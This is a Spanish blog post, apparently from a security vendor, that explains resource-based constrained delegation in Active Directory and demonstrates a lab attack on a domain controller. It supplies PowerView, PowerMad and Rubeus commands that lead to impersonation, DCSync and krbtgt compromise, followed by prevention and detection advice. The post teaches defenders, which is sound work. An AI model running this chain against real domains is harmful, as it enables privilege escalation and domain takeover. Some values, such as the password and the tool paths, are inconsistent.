Abuso de Delegación Restringida Basada en Recursos

La delegación es confusa y complicada para la mayoría de los administradores de TI. Active Directory ofrece delegación sin restricciones, delegación restringida y delegación restringida basada en recursos (RBCD).

Esta entrada de blog revisa por qué la delegación restringida basada en recursos es más segura que sus predecesores — y cómo aún puede ser abusada y utilizada como un medio de movimiento lateral y escalada de privilegios. Específicamente, vamos a analizar un escenario en el que un adversario abusa de la delegación restringida basada en recursos y algunos permisos de Active Directory mal configurados para crear cuentas de computadora en Active Directory.

Al final, proporcionamos el código para los pasos en el ataque y un FAQ que ofrece más información sobre los tres tipos de Kerberos delegation.

Conceptos básicos de RBCD

A partir de Windows Server 2012, la delegación restringida basada en recursos se puede configurar en el recurso o en la propia cuenta de la computadora. Esto es diferente de los otros tipos de delegación, que se configuran en las cuentas que acceden al recurso. La delegación basada en recursos está controlada por el atributo msDS-AllowedToActOnBehalfOfOtherIdentity; almacena un descriptor de seguridad para el objeto que puede acceder al recurso.

¿Por qué este modelo de delegación es mejor que sus predecesores? Microsoft lo explica de esta manera: “Al admitir la delegación restringida a través de dominios, los servicios pueden configurarse para usar la delegación restringida para autenticarse en servidores de otros dominios en lugar de utilizar la delegación sin restricciones. Esto proporciona soporte de autenticación a través de soluciones de servicios de dominio mediante el uso de una infraestructura Kerberos existente sin necesidad de confiar en servicios frontales para delegar a cualquier servicio.”

Descripción general de un ataque

Para realizar un ataque de delegación restringida basado en recursos, un adversario debe:

• Rellene el atributo msDS-AllowedToActOnBehalfOfOtherIdentity con una cuenta de computadora sobre la que tengan control.
• Conozca un SPN establecido en el objeto al que desean acceder

Debido a que por defecto, todos los usuarios pueden crear 10 cuentas de computadora (MachineAccountQuota), estas tareas son fáciles de realizar desde una cuenta no privilegiada. El único privilegio que necesita un atacante es la capacidad de escribir el atributo en la computadora objetivo debido a algunos permisos de Active Directory mal configurados.

Para lograr esto y mostrar una prueba de concepto rápida, utilizaremos las siguientes herramientas con el siguiente escenario:

1. Hemos comprometido una cuenta no privilegiada en un host Windows 10 que tiene acceso para escribir el atributo msDS-AllowedToActOnBehalfOfOtherIdentity en un controlador de dominio debido a permisos de Active Directory configurados incorrectamente.
2. Crearemos una nueva cuenta de computadora utilizando PowerMad (permitido debido al valor predeterminado de MachineAccountQuota).
3. Establecimos el atributo msDS-AllowedToActOnBehalfOfOtherIdentity para contener un descriptor de seguridad con la cuenta de computadora que creamos.
4. Aprovechamos Rubeus para abusar de la delegación de recursos basada en restricciones.

Paso 1. Verifique el acceso de la cuenta comprometida.

Para comenzar, echemos un vistazo a la cuenta a la que nosotros, como atacantes, hemos obtenido acceso. SBPMLABnonadmin es solo una cuenta de usuario de dominio regular que tiene privilegios de administrador local en su máquina. La captura de pantalla a continuación muestra que no podemos acceder al recurso compartido de administrador C$ de SBPMLAB-DC2 con nuestros privilegios actuales:

Utilizando herramientas que enumeran permisos y objetos en Active Directory, podemos descubrir que tenemos algunos permisos en un controlador de dominio, el cual será nuestro objetivo. Los scripts de PowerShell a continuación identificarán cualquier lugar donde un SID de usuario específico tenga Control total, Escritura, Modificar permisos o Escribir propiedad: msDS-AllowedToActOnBehalfOfOtherIdentity en una máquina objetivo

Paso 2. Cree una nueva cuenta de computadora.

Ahora que sabemos que tenemos la capacidad de modificar el atributo que necesitamos poblar, necesitamos una cuenta de computadora que controlemos para realizar la actualización. Dado que el valor de MachineAccountQuota se ha dejado por defecto, podemos usar PowerMad para crear una cuenta de computadora RBCDMachine con la contraseña ThisIsATest:

Paso 3. Permita que la cuenta actúe en nombre de la otra identidad.

Ahora necesitamos configurar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity para que contenga el descriptor de seguridad de la cuenta de computadora que creamos, y poblar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC sobre el que tenemos permisos:

Ahora solo necesitamos obtener el hash de la contraseña ‘ThisIsATest’ para nuestra cuenta RBCDMachine:

Hash de contraseña para la cuenta RBCDMachine

Paso 4. Aproveche Rubeus para abusar de RBCD.

Ahora tenemos todo lo que necesitamos para usar Rubeus y abusar de la delegación restringida basada en recursos. Para recapitular lo que hemos recopilado hasta ahora:

• Un usuario al que queremos suplantar
• La cuenta RBCDMachine$ que creamos, que se rellena en el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC objetivo
• El hash para la contraseña de la cuenta RBCDMachine$ (0DE1580972A99A216CED8B058300033F)
• El servicePrincipalName al que queremos acceder para el controlador de dominio objetivo

Con esta información, podemos ejecutar el siguiente comando en Rubeus para importar el ticket a la memoria:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Podemos confirmar que el ticket de servicio fue importado exitosamente utilizando klist. Ahora podemos navegar con éxito al recurso compartido de administrador SBPMLAB-DCC$ en el controlador de dominio y listar su contenido:

Próximos pasos

Después de obtener acceso a la compartición de administrador en el controlador de dominio objetivo, podemos tomar medidas para asegurar la persistencia o incluso elevar nuestros privilegios aún más, como comprometer el archivo NTDS.dit.

Otra opción es solicitar acceso al servicio LDAP cambiando el parámetro msdsspn en el comando Rubeus, y aprovechar eso para realizar un DCSync attack y tomar control de the krbtgt account.

Aquí está el ticket en caché para el servicio LDAP:

Y aquí es cómo podemos ejecutar DCSync después de obtener acceso a LDAP:

Detección y prevención de ataques

Repasemos rápidamente los pasos que seguimos para revelar algunas estrategias para prevenir este tipo de ataque:

1. Tomamos control de una cuenta que tenía la capacidad de modificar el atributo ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ de un controlador de dominio.
2. Creamos una cuenta de computadora, aprovechando la configuración predeterminada de MachineAccountQuota.
3. Poblamos el atributo con la cuenta de máquina que creamos.
4. Utilizamos Rubeus para solicitar un ticket al servicio LDAP en el DC.
5. Pudimos ejecutar DCSync para tomar control de la cuenta krbtgt.

Prevención

¿Cómo puedes prevenir que algunas de estas cosas ocurran en tu entorno?

• Comprenda y asegure los permisos de Active Directory. Saber quién tiene acceso a Active Directory es vital para su seguridad. Ser capaz de modificar el atributo de un objeto de computadora es solo una de las vías que un atacante puede utilizar para explotar su entorno. Tener la capacidad de modificar la membresía de un grupo o restablecer las contraseñas de otros usuarios dentro de un entorno puede ser igual de perjudicial y mucho más fácil de explotar con herramientas como BloodHound. Consulte la Netwrix Active Directory Security Solution para aprender cómo puede ayudarlo a asegurar que su AD esté configurado de manera segura, identificar derechos de acceso excesivos y administradores ocultos, y detectar y prevenir ataques sofisticados en tiempo real.
• Asegúrese de que las cuentas sensibles que no deben delegarse estén marcadas como tal. Colocar a un usuario en el grupo de Usuarios Protegidos o marcar la opción 'La cuenta es sensible y no se puede delegar' detendrá un ataque de delegación con recursos limitados en seco.

Detección

Para detectar ataques de delegación con recursos limitados, puede hacer lo siguiente:

• Monitoree la creación de cuentas de computadora por usuarios no administradores. El atributo ‘mS-DS-CreatorSID’ se llena cuando un usuario no administrador crea una cuenta de computadora, así que puede utilizar este comando para identificar esas cuentas:

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

Code

• Identifique los permisos en una computadora objetivo ($target) para la cuenta que poseemos ($myaccount):

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• Compruebe la configuración de MachineAccountQuota para el dominio y cree una cuenta de computadora utilizando PowerMad:

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• Actualice el atributo msDS-AllowedToActOnBehalfOfOtherIdentity con el nuevo equipo que creamos:

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• Obtén el hash de la contraseña que establecimos para nuestra cuenta de computadora:

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Utiliza Rubeus para ejecutar el abuso de RBCD:

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

FAQ

¿Qué es la delegación de Kerberos?

El uso práctico de Kerberos delegation es permitir que una aplicación o servicio acceda a recursos alojados en un servidor diferente en nombre de otro usuario.

¿Cómo funciona la delegación sin restricciones?

La delegación Kerberos sin restricciones otorga a una aplicación o servicio la capacidad de suplantar a un usuario objetivo en cualquier otro servicio elegido.

¿Cómo funciona la delegación restringida?

La delegación restringida te permite configurar a qué servicios se puede delegar una cuenta. S4U2proxy es la extensión de Kerberos Constrained Delegation.

¿Cómo funciona la delegación restringida basada en recursos?

En lugar de especificar qué objeto puede delegar en qué servicio, el recurso que aloja el servicio especifica qué objetos pueden delegar en él.